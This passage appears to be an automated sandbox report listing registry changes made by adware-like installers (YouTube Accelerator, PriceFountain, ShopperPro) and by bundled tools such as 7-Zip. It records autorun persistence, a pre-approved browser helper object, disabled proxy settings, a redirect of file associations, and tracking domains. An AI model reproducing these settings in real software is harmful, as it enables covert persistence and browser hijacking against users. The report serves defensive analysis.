[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process GLB1C75.tmp:2676 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1420623174"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1420623174"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "support@youtubeaccelerator.com"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process testlsp.exe:3652 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1420623208"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "0F 50 31 FF 5C 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1420623207"
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process powershell.exe:812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3708 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:1540 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:2524 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\PriceFountain]
"domain_operational" = "pricejs.info"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"EstimatedSize" = "1"

[HKCU\Software\PriceFountain]
"s3_url_gen" = "https://dumpster-server.herokuapp.com/manager/query"
"InstallDir" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"NoModify" = "1"
"Publisher" = "Price Fountain"

[HKCU\Software\PriceFountain]
"partner" = "somopf"

[HKCU\Software\Microsoft\Internet Explorer\Approved Extensions]
"{b608cc98-54de-4775-96c9-097de398500c}" = "51 66 7A 6C 4C 1D 3B 1B 88 D0 12 AA E1 07 18 0A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"URLInfoAbout" = "http://support.PriceFountain.net/"

[HKCU\Software\PriceFountain]
"sub_quick" = "q"
"SampleGroup" = "4"
"OriginalOptimize" = "0"
"main_log_name" = "main.log"
"InstallDateHuman" = "07/01/2015 09:33:22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"DisplayName" = "PriceFountain (remove only)"

[HKCU\Software\PriceFountain]
"uninst" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe"
"InstallDateMachine" = "20150107093322"

"exe_moudle_name" = "EXE"
"FunnelID" = "abddccbb-b7f2-4fa1-9571-e21f54ce647e"
"quick_url_path" = "/dealdo/event-report"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"HelpLink" = "http://www.PriceFountain.net/"
"NoRepair" = "1"

[HKCU\Software\PriceFountain]
"dump_folder_path" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\"
"InstGrp" = "20141204__1086__lnk_aromani_70"
"InstallStatus" = "OK"
"sub_opt" = "i"
"installId" = "v5532D312D352D32312D323835383032303933352DB48A115F3C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe,0"
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe /uninstall"

[HKCU\Software\PriceFountain]
"midnight_express_operational_domain" = "pricejs.net"
"midnight_file" = "common.js"
"dll-file-name" = "prfo.dll"
"sub_midnight" = "j"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"DisplayVersion" = "1.0.8.6"

[HKCU\Software\PriceFountain]
"OriginalCommand" = "/muse /partner=somopf"
"mainProgFile" = "pricefountain.exe"
"dll_moudle_name" = "DLL"
"channel" = "somopf"
"brand" = "PriceFountain"
"slug" = "pricefountain"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"pricefountainw.exe" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe HKEY_CURRENT_USER Software\PriceFountain"

The process setup.exe:2008 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process 7z920.exe:2544 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Directory\shellex\DragDropHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"NoModify" = "1"

[HKCR\*\shellex\ContextMenuHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"NoRepair" = "1"

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32]
"(Default)" = "%Program Files% (x86)\7-Zip\7-zip.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved]
"{23170F69-40C1-278A-1000-000100020000}" = "7-Zip Shell Extension"

[HKLM\SOFTWARE\Wow6432Node\7-Zip]
"Path" = "%Program Files% (x86)\7-Zip"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\7zFM.exe]
"Path" = "%Program Files% (x86)\7-Zip"

[HKCU\Software\7-Zip]
"Path" = "%Program Files% (x86)\7-Zip"

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\7zFM.exe]
"(Default)" = "%Program Files% (x86)\7-Zip\7zFM.exe"

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}]
"(Default)" = "7-Zip Shell Extension"

[HKCR\Directory\shellex\ContextMenuHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKCR\Drive\shellex\DragDropHandlers\7-Zip]
"(Default)" = "{23170F69-40C1-278A-1000-000100020000}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip]
"DisplayName" = "7-Zip 9.20"
"UninstallString" = "%Program Files% (x86)\7-Zip\Uninstall.exe"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32]
"InprocServer32"

The process WerFault.exe:4092 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "05 00 00 C0 00 00 00 00 00 00 00 00 42 51 DC 00"

The process ShopperPro.exe:2612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F3 04 CB ED 5C 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1462.0.0.0"
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.0.7791.1462"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "BF 00 5C F0 5C 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "BF 00 5C F0 5C 2A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

The process regsvr32.exe:3780 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

